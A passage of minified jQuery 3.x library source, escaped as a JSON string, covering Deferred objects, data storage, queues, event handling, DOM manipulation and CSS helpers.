r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:M,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:M)),c[2][3].add(g(0,a,r.isFunction(d)?d:N))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h\u0026\u0026g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+\"With\"](this===f?void 0:this,arguments),this},f[b[0]+\"With\"]=g.fireWith}),e.promise(f),b\u0026\u0026b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length\u003e1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b\u003c=1\u0026\u0026(O(a,g.done(h(c)).resolve,g.reject),\"pending\"===g.state()||r.isFunction(e[c]\u0026\u0026e[c].then)))return g.then();while(c--)O(e[c],h(c),g.reject);return g.promise()}});var P=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console\u0026\u0026a.console.warn\u0026\u0026b\u0026\u0026P.test(b.name)\u0026\u0026a.console.warn(\"jQuery.Deferred exception: \"+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var Q=r.Deferred();r.fn.ready=function(a){return Q.then(a)[\"catch\"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,holdReady:function(a){a?r.readyWait++:r.ready(!0)},ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0\u0026\u0026--r.readyWait\u003e0||Q.resolveWith(d,[r]))}}),r.ready.then=Q.then;function R(){d.removeEventListener(\"DOMContentLoaded\",R),a.removeEventListener(\"load\",R),r.ready()}\"complete\"===d.readyState||\"loading\"!==d.readyState\u0026\u0026!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener(\"DOMContentLoaded\",R),a.addEventListener(\"load\",R));var S=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if(\"object\"===r.type(c)){e=!0;for(h in c)S(a,b,h,c[h],!0,f,g)}else if(void 0!==d\u0026\u0026(e=!0,\r\nr.isFunction(d)||(g=!0),j\u0026\u0026(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h\u003ci;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},T=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function U(){this.expando=r.expando+U.uid++}U.uid=1,U.prototype={cache:function(a){var b=a[this.expando];return b||(b={},T(a)\u0026\u0026(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if(\"string\"==typeof b)e[r.camelCase(b)]=c;else for(d in b)e[r.camelCase(d)]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]\u0026\u0026a[this.expando][r.camelCase(b)]},access:function(a,b,c){return void 0===b||b\u0026\u0026\"string\"==typeof b\u0026\u0026void 0===c?this.get(a,b):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d=a[this.expando];if(void 0!==d){if(void 0!==b){r.isArray(b)?b=b.map(r.camelCase):(b=r.camelCase(b),b=b in d?[b]:b.match(K)||[]),c=b.length;while(c--)delete d[b[c]]}(void 0===b||r.isEmptyObject(d))\u0026\u0026(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b\u0026\u0026!r.isEmptyObject(b)}};var V=new U,W=new U,X=/^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,Y=/[A-Z]/g;function Z(a,b,c){var d;if(void 0===c\u0026\u00261===a.nodeType)if(d=\"data-\"+b.replace(Y,\"-$\u0026\").toLowerCase(),c=a.getAttribute(d),\"string\"==typeof c){try{c=\"true\"===c||\"false\"!==c\u0026\u0026(\"null\"===c?null:+c+\"\"===c?+c:X.test(c)?JSON.parse(c):c)}catch(e){}W.set(a,b,c)}else c=void 0;return c}r.extend({hasData:function(a){return W.hasData(a)||V.hasData(a)},data:function(a,b,c){return W.access(a,b,c)},removeData:function(a,b){W.remove(a,b)},_data:function(a,b,c){return V.access(a,b,c)},_removeData:function(a,b){V.remove(a,b)}}),r.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f\u0026\u0026f.attributes;if(void 0===a){if(this.length\u0026\u0026(e=W.get(f),1===f.nodeType\u0026\u0026!V.get(f,\"hasDataAttrs\"))){c=g.length;while(c--)g[c]\u0026\u0026(d=g[c].name,0===d.indexOf(\"data-\")\u0026\u0026(d=r.camelCase(d.slice(5)),Z(f,d,e[d])));V.set(f,\"hasDataAttrs\",!0)}return e}return\"object\"==typeof a?this.each(function(){W.set(this,a)}):S(this,function(b){var c;if(f\u0026\u0026void 0===b){if(c=W.get(f,a),void 0!==c)return c;if(c=Z(f,a),void 0!==c)return c}else this.each(function(){W.set(this,a,b)})},null,b,arguments.length\u003e1,null,!0)},removeData:function(a){return this.each(function(){W.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||\"fx\")+\"queue\",d=V.get(a,b),c\u0026\u0026(!d||r.isArray(c)?d=V.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||\"fx\";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};\"inprogress\"===e\u0026\u0026(e=c.shift(),d--),e\u0026\u0026(\"fx\"===b\u0026\u0026c.unshift(\"inprogress\"),delete f.stop,e.call(a,g,f)),!d\u0026\u0026f\u0026\u0026f.empty.fire()},_queueHooks:function(a,b){var c=b+\"queueHooks\";return V.get(a,c)||V.access(a,c,{empty:r.Callbacks(\"once memory\").add(function(){V.remove(a,[b+\"queue\",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return\"string\"!=typeof a\u0026\u0026(b=a,a=\"fx\",c--),arguments.length\u003cc?r.queue(this[0],a):void 0===b?this:this.each(function(){var c=r.queue(this,a,b);r._queueHooks(this,a),\"fx\"===a\u0026\u0026\"inprogress\"!==c[0]\u0026\u0026r.dequeue(this,a)})},dequeue:function(a){return this.each(function(){r.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,b){var c,d=1,e=r.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};\"string\"!=typeof a\u0026\u0026(b=a,a=void 0),a=a||\"fx\";while(g--)c=V.get(f[g],a+\"queueHooks\"),c\u0026\u0026c.empty\u0026\u0026(d++,c.empty.add(h));return h(),e.promise(b)}});var $=/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/.source,_=new RegExp(\"^(?:([+-])=|)(\"+$+\")([a-z%]*)$\",\"i\"),aa=[\"Top\",\"Right\",\"Bottom\",\"Left\"],ba=function(a,b){return a=b||a,\"none\"===a.style.display||\"\"===a.style.display\u0026\u0026r.contains(a.ownerDocument,a)\u0026\u0026\"none\"===r.css(a,\"display\")},ca=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};function da(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return r.css(a,b,\"\")},i=h(),j=c\u0026\u0026c[3]||(r.cssNumber[b]?\"\":\"px\"),k=(r.cssNumber[b]||\"px\"!==j\u0026\u0026+i)\u0026\u0026_.exec(r.css(a,b));if(k\u0026\u0026k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||\".5\",k/=f,r.style(a,b,k+j);while(f!==(f=h()/i)\u0026\u00261!==f\u0026\u0026--g)}return c\u0026\u0026(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d\u0026\u0026(d.unit=j,d.start=k,d.end=e)),e}var ea={};function fa(a){var b,c=a.ownerDocument,d=a.nodeName,e=ea[d];return e?e:(b=c.body.appendChild(c.createElement(d)),e=r.css(b,\"display\"),b.parentNode.removeChild(b),\"none\"===e\u0026\u0026(e=\"block\"),ea[d]=e,e)}function ga(a,b){for(var c,d,e=[],f=0,g=a.length;f\u003cg;f++)d=a[f],d.style\u0026\u0026(c=d.style.display,b?(\"none\"===c\u0026\u0026(e[f]=V.get(d,\"display\")||null,e[f]||(d.style.display=\"\")),\"\"===d.style.display\u0026\u0026ba(d)\u0026\u0026(e[f]=fa(d))):\"none\"!==c\u0026\u0026(e[f]=\"none\",V.set(d,\"display\",c)));for(f=0;f\u003cg;f++)null!=e[f]\u0026\u0026(a[f].style.display=e[f]);return a}r.fn.extend({show:function(){return ga(this,!0)},hide:function(){return ga(this)},toggle:function(a){return\"boolean\"==typeof a?a?this.show():this.hide():this.each(function(){ba(this)?r(this).show():r(this).hide()})}});var ha=/^(?:checkbox|radio)$/i,ia=/\u003c([a-z][^\\/\\0\u003e\\x20\\t\\r\\n\\f]+)/i,ja=/^$|\\/(?:java|ecma)script/i,ka={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],_default:[0,\"\",\"\"]};ka.optgroup=ka.option,ka.tbody=ka.tfoot=ka.colgroup=ka.caption=ka.thead,ka.th=ka.td;function la(a,b){var c=\"undefined\"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||\"*\"):\"undefined\"!=typeof a.querySelectorAll?a.querySelectorAll(b||\"*\"):[];return void 0===b||b\u0026\u0026r.nodeName(a,b)?r.merge([a],c):c}function ma(a,b){for(var c=0,d=a.length;c\u003cd;c++)V.set(a[c],\"globalEval\",!b||V.get(b[c],\"globalEval\"))}var na=/\u003c|\u0026#?\\w+;/;function oa(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],n=0,o=a.length;n\u003co;n++)if(f=a[n],f||0===f)if(\"object\"===r.type(f))r.merge(m,f.nodeType?[f]:f);else if(na.test(f)){g=g||l.appendChild(b.createElement(\"div\")),h=(ia.exec(f)||[\"\",\"\"])[1].toLowerCase(),i=ka[h]||ka._default,g.innerHTML=i[1]+r.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;r.merge(m,g.childNodes),g=l.firstChild,g.textContent=\"\"}else m.push(b.createTextNode(f));l.textContent=\"\",n=0;while(f=m[n++])if(d\u0026\u0026r.inArray(f,d)\u003e-1)e\u0026\u0026e.push(f);else if(j=r.contains(f.ownerDocument,f),g=la(l.appendChild(f),\"script\"),j\u0026\u0026ma(g),c){k=0;while(f=g[k++])ja.test(f.type||\"\")\u0026\u0026c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement(\"div\")),c=d.createElement(\"input\");c.setAttribute(\"type\",\"radio\"),c.setAttribute(\"checked\",\"checked\"),c.setAttribute(\"name\",\"t\"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML=\"\u003ctextarea\u003ex\u003c/textarea\u003e\",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var pa=d.documentElement,qa=/^key/,ra=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,sa=/^([^.]*)(?:\\.(.+)|)/;function ta(){return!0}function ua(){return!1}function va(){try{return d.activeElement}catch(a){}}function wa(a,b,c,d,e,f){var g,h;if(\"object\"==typeof b){\"string\"!=typeof c\u0026\u0026(d=d||c,c=void 0);for(h in b)wa(a,h,c,d,b[h],f);return a}if(null==d\u0026\u0026null==e?(e=c,d=c=void 0):null==e\u0026\u0026(\"string\"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=ua;else if(!e)return a;return 1===f\u0026\u0026(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.get(a);if(q){c.handler\u0026\u0026(f=c,c=f.handler,e=f.selector),e\u0026\u0026r.find.matchesSelector(pa,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return\"undefined\"!=typeof r\u0026\u0026r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||\"\").match(K)||[\"\"],j=b.length;while(j--)h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||\"\").split(\".\").sort(),n\u0026\u0026(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e\u0026\u0026r.expr.match.needsContext.test(e),namespace:o.join(\".\")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup\u0026\u0026l.setup.call(a,d,o,g)!==!1||a.addEventListener\u0026\u0026a.addEventListener(n,g)),l.add\u0026\u0026(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.hasData(a)\u0026\u0026V.get(a);if(q\u0026\u0026(i=q.events)){b=(b||\"\").match(K)||[\"\"],j=b.length;while(j--)if(h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||\"\").split(\".\").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]\u0026\u0026new RegExp(\"(^|\\\\.)\"+o.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),g=f=m.length;while(f--)k=m[f],!e\u0026\u0026p!==k.origType||c\u0026\u0026c.guid!==k.guid||h\u0026\u0026!h.test(k.namespace)||d\u0026\u0026d!==k.selector\u0026\u0026(\"**\"!==d||!k.selector)||(m.splice(f,1),k.selector\u0026\u0026m.delegateCount--,l.remove\u0026\u0026l.remove.call(a,k));g\u0026\u0026!m.length\u0026\u0026(l.teardown\u0026\u0026l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)\u0026\u0026V.remove(a,\"handle events\")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(V.get(this,\"events\")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c\u003carguments.length;c++)i[c]=arguments[c];if(b.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,b)!==!1){h=r.event.handlers.call(this,b,j),c=0;while((f=h[c++])\u0026\u0026!b.isPropagationStopped()){b.currentTarget=f.elem,d=0;while((g=f.handlers[d++])\u0026\u0026!b.isImmediatePropagationStopped())b.rnamespace\u0026\u0026!b.rnamespace.test(g.namespace)||(b.handleObj=g,b.data=g.data,e=((r.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e\u0026\u0026(b.result=e)===!1\u0026\u0026(b.preventDefault(),b.stopPropagation()))}return k.postDispatch\u0026\u0026k.postDispatch.call(this,b),b.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h\u0026\u0026i.nodeType\u0026\u0026(\"click\"!==a.type||isNaN(a.button)||a.button\u003c1))for(;i!==this;i=i.parentNode||this)if(1===i.nodeType\u0026\u0026(i.disabled!==!0||\"click\"!==a.type)){for(d=[],c=0;c\u003ch;c++)f=b[c],e=f.selector+\" \",void 0===d[e]\u0026\u0026(d[e]=f.needsContext?r(e,this).index(i)\u003e-1:r.find(e,this,null,[i]).length),d[e]\u0026\u0026d.push(f);d.length\u0026\u0026g.push({elem:i,handlers:d})}return h\u003cb.length\u0026\u0026g.push({elem:this,handlers:b.slice(h)}),g},addProp:function(a,b){Object.defineProperty(r.Event.prototype,a,{enumerable:!0,configurable:!0,get:r.isFunction(b)?function(){if(this.originalEvent)return b(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[a]},set:function(b){Object.defineProperty(this,a,{enumerable:!0,configurable:!0,writable:!0,value:b})}})},fix:function(a){return a[r.expando]?a:new r.Event(a)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==va()\u0026\u0026this.focus)return this.focus(),!1},delegateType:\"focusin\"},blur:{trigger:function(){if(this===va()\u0026\u0026this.blur)return this.blur(),!1},delegateType:\"focusout\"},click:{trigger:function(){if(\"checkbox\"===this.type\u0026\u0026this.click\u0026\u0026r.nodeName(this,\"input\"))return this.click(),!1},_default:function(a){return r.nodeName(a.target,\"a\")}},beforeunload:{postDispatch:function(a){void 0!==a.result\u0026\u0026a.originalEvent\u0026\u0026(a.originalEvent.returnValue=a.result)}}}},r.removeEvent=function(a,b,c){a.removeEventListener\u0026\u0026a.removeEventListener(b,c)},r.Event=function(a,b){return this instanceof r.Event?(a\u0026\u0026a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented\u0026\u0026a.returnValue===!1?ta:ua,this.target=a.target\u0026\u00263===a.target.nodeType?a.target.parentNode:a.target,this.currentTarget=a.currentTarget,this.relatedTarget=a.relatedTarget):this.type=a,b\u0026\u0026r.extend(this,b),this.timeStamp=a\u0026\u0026a.timeStamp||r.now(),void(this[r.expando]=!0)):new r.Event(a,b)},r.Event.prototype={constructor:r.Event,isDefaultPrevented:ua,isPropagationStopped:ua,isImmediatePropagationStopped:ua,isSimulated:!1,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=ta,a\u0026\u0026!this.isSimulated\u0026\u0026a.preventDefault()},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=ta,a\u0026\u0026!this.isSimulated\u0026\u0026a.stopPropagation()},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=ta,a\u0026\u0026!this.isSimulated\u0026\u0026a.stopImmediatePropagation(),this.stopPropagation()}},r.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,\"char\":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(a){var b=a.button;return null==a.which\u0026\u0026qa.test(a.type)?null!=a.charCode?a.charCode:a.keyCode:!a.which\u0026\u0026void 0!==b\u0026\u0026ra.test(a.type)?1\u0026b?1:2\u0026b?3:4\u0026b?2:0:a.which}},r.event.addProp),r.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\",pointerenter:\"pointerover\",pointerleave:\"pointerout\"},function(a,b){r.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e\u0026\u0026(e===d||r.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),r.fn.extend({on:function(a,b,c,d){return wa(this,a,b,c,d)},one:function(a,b,c,d){return wa(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a\u0026\u0026a.preventDefault\u0026\u0026a.handleObj)return d=a.handleObj,r(a.delegateTarget).off(d.namespace?d.origType+\".\"+d.namespace:d.origType,d.selector,d.handler),this;if(\"object\"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1\u0026\u0026\"function\"!=typeof b||(c=b,b=void 0),c===!1\u0026\u0026(c=ua),this.each(function(){r.event.remove(this,a,c,b)})}});var xa=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\/\\0\u003e\\x20\\t\\r\\n\\f]*)[^\u003e]*)\\/\u003e/gi,ya=/\u003cscript|\u003cstyle|\u003clink/i,za=/checked\\s*(?:[^=]|=\\s*.checked.)/i,Aa=/^true\\/(.*)/,Ba=/^\\s*\u003c!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)\u003e\\s*$/g;function Ca(a,b){return r.nodeName(a,\"table\")\u0026\u0026r.nodeName(11!==b.nodeType?b:b.firstChild,\"tr\")?a.getElementsByTagName(\"tbody\")[0]||a:a}function Da(a){return a.type=(null!==a.getAttribute(\"type\"))+\"/\"+a.type,a}function Ea(a){var b=Aa.exec(a.type);return b?a.type=b[1]:a.removeAttribute(\"type\"),a}function Fa(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(V.hasData(a)\u0026\u0026(f=V.access(a),g=V.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c\u003cd;c++)r.event.add(b,e,j[e][c])}W.hasData(a)\u0026\u0026(h=W.access(a),i=r.extend({},h),W.set(b,i))}}function Ga(a,b){var c=b.nodeName.toLowerCase();\"input\"===c\u0026\u0026ha.test(a.type)?b.checked=a.checked:\"input\"!==c\u0026\u0026\"textarea\"!==c||(b.defaultValue=a.defaultValue)}function Ha(a,b,c,d){b=g.apply([],b);var e,f,h,i,j,k,l=0,m=a.length,n=m-1,q=b[0],s=r.isFunction(q);if(s||m\u003e1\u0026\u0026\"string\"==typeof q\u0026\u0026!o.checkClone\u0026\u0026za.test(q))return a.each(function(e){var f=a.eq(e);s\u0026\u0026(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(m\u0026\u0026(e=oa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length\u0026\u0026(e=f),f||d)){for(h=r.map(la(e,\"script\"),Da),i=h.length;l\u003cm;l++)j=e,l!==n\u0026\u0026(j=r.clone(j,!0,!0),i\u0026\u0026r.merge(h,la(j,\"script\"))),c.call(a[l],j,l);if(i)for(k=h[h.length-1].ownerDocument,r.map(h,Ea),l=0;l\u003ci;l++)j=h[l],ja.test(j.type||\"\")\u0026\u0026!V.access(j,\"globalEval\")\u0026\u0026r.contains(k,j)\u0026\u0026(j.src?r._evalUrl\u0026\u0026r._evalUrl(j.src):p(j.textContent.replace(Ba,\"\"),k))}return a}function Ia(a,b,c){for(var d,e=b?r.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||r.cleanData(la(d)),d.parentNode\u0026\u0026(c\u0026\u0026r.contains(d.ownerDocument,d)\u0026\u0026ma(la(d,\"script\")),d.parentNode.removeChild(d));return a}r.extend({htmlPrefilter:function(a){return a.replace(xa,\"\u003c$1\u003e\u003c/$2\u003e\")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType\u0026\u002611!==a.nodeType||r.isXMLDoc(a)))for(g=la(h),f=la(a),d=0,e=f.length;d\u003ce;d++)Ga(f[d],g[d]);if(b)if(c)for(f=f||la(a),g=g||la(h),d=0,e=f.length;d\u003ce;d++)Fa(f[d],g[d]);else Fa(a,h);return g=la(h,\"script\"),g.length\u003e0\u0026\u0026ma(g,!i\u0026\u0026la(a,\"script\")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(T(c)){if(b=c[V.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[V.expando]=void 0}c[W.expando]\u0026\u0026(c[W.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return S(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType\u0026\u002611!==this.nodeType\u0026\u00269!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode\u0026\u0026this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode\u0026\u0026this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType\u0026\u0026(r.cleanData(la(a,!1)),a.textContent=\"\");return this},clone:function(a,b){return a=null!=a\u0026\u0026a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return S(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a\u0026\u00261===b.nodeType)return b.innerHTML;if(\"string\"==typeof a\u0026\u0026!ya.test(a)\u0026\u0026!ka[(ia.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c\u003cd;c++)b=this[c]||{},1===b.nodeType\u0026\u0026(r.cleanData(la(b,!1)),b.innerHTML=a);b=0}catch(e){}}b\u0026\u0026this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ha(this,arguments,function(b){var c=this.parentNode;r.inArray(this,a)\u003c0\u0026\u0026(r.cleanData(la(this)),c\u0026\u0026c.replaceChild(b,this))},a)}}),r.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){r.fn[a]=function(a){for(var c,d=[],e=r(a),f=e.length-1,g=0;g\u003c=f;g++)c=g===f?this:this.clone(!0),r(e[g])[b](c),h.apply(d,c.get());return this.pushStack(d)}});var Ja=/^margin/,Ka=new RegExp(\"^(\"+$+\")(?!px)[a-z%]+$\",\"i\"),La=function(b){var c=b.ownerDocument.defaultView;return c\u0026\u0026c.opener||(c=a),c.getComputedStyle(b)};!function(){function b(){if(i){i.style.cssText=\"box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%\",i.innerHTML=\"\",pa.appendChild(h);var b=a.getComputedStyle(i);c=\"1%\"!==b.top,g=\"2px\"===b.marginLeft,e=\"4px\"===b.width,i.style.marginRight=\"50%\",f=\"4px\"===b.marginRight,pa.removeChild(h),i=null}}var c,e,f,g,h=d.createElement(\"div\"),i=d.createElement(\"div\");i.style\u0026\u0026(i.style.backgroundClip=\"content-box\",i.cloneNode(!0).style.backgroundClip=\"\",o.clearCloneStyle=\"content-box\"===i.style.backgroundClip,h.style.cssText=\"border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute\",h.appendChild(i),r.extend(o,{pixelPosition:function(){return b(),c},boxSizingReliable:function(){return b(),e},pixelMarginRight:function(){return b(),f},reliableMarginLeft:function(){return b(),g}}))}();function Ma(a,b,c){var d,e,f,g,h=a.style;return c=c||La(a),c\u0026\u0026(g=c.getPropertyValue(b)||c[b],\"\"!==g||r.contains(a.ownerDocument,a)||(g=r.style(a,b)),!o.pixelMarginRight()\u0026\u0026Ka.test(g)\u0026\u0026Ja.test(b)\u0026\u0026(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0!==g?g+\"\":g}function Na(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Oa=/^(none|table(?!-c[ea]).+)/,Pa={position:\"absolute\",visibility:\"hidden\",display:\"block\"},Qa={letterSpacing:\"0\",fontWeight:\"400\"},Ra=[\"Webkit\",\"Moz\",\"ms\"],Sa=d.createElement(\"div\").style;function Ta(a){if(a in Sa)return a;var b=a[0].toUpperCase()+a.slice(1),c=Ra.length;while(c--)if(a=Ra[c]+b,a in Sa)return a}function Ua(a,b,c){var d=_.exec(b);return d?Math.max(0,d[2]-(c||0))+(d[3]||\"px\"):b}function Va(a,b,c,d,e){for(var f=c===(d?\"border\":\"content\")?4:\"width\"===b?1:0,g=0;f\u003c4;f+=2)\"margin\"===c\u0026\u0026(g+=r.css(a,c+aa[f],!0,e)),d?(\"content\"===c\u0026\u0026(g-=r.css(a,\"padding\"+aa[f],!0,e)),\"margin\"!==c\u0026\u0026(g-=r.css(a,\"border\"+aa[f]+\"Width\",!0,e))):(g+=r.css(a,\"padding\"+aa[f],!0,e),\"padding\"!==c\u0026\u0026(g+=r.css(a,\"border\"+aa[f]+\"Width\",!0,e)));return g}function Wa(a,b,c){var d,e=!0,f=La(a),g=\"border-box\"===r.css(a,\"boxSizing\",!1,f);if(a.getClientRects().length\u0026\u0026(d=a.getBoundingClientRect()[b]),d\u003c=0||null==d){if(d=Ma(a,b,f),(d\u003c0||null==d)\u0026\u0026(d=a.style[b]),Ka.test(d))return d;e=g\u0026\u0026(o.boxSizingReliable()||d===a.style[b]),d=parseFloat(d)||0}return d+Va(a,b,c||(g?\"border\":\"content\"),e,f)+\"px\"}r.extend({cssHooks:{opacity:{get:function(a,b){if(b){var 